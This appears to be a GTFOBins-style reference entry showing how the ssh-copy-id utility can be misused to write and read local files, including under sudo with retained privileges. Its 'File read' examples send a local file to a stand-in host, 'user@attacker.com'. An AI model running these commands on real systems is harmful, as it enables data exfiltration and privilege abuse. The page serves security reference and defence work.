.. / ssh-copy-id

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File write

This executable can write data to local files.

Comment
The input file must have the .pub file extension.
Unprivileged
This function can be performed by any unprivileged user.
```
ssh-copy-id -f -i /path/to/input-file.pub -t /path/to/output-file user@host
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

Remarks
If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
ssh-copy-id -f -i /path/to/input-file.pub -t /path/to/output-file user@host
```

File read

This executable can read data from local files.

Comment
The input file must have the .pub file extension. The file will be copied to ~/.ssh/authorized_keys, otherwise the -t /path/to/output-file option can be used.
Unprivileged
This function can be performed by any unprivileged user.
```
ssh-copy-id -f -i /path/to/input-file.pub user@attacker.com
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

Remarks
If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
ssh-copy-id -f -i /path/to/input-file.pub user@attacker.com
```

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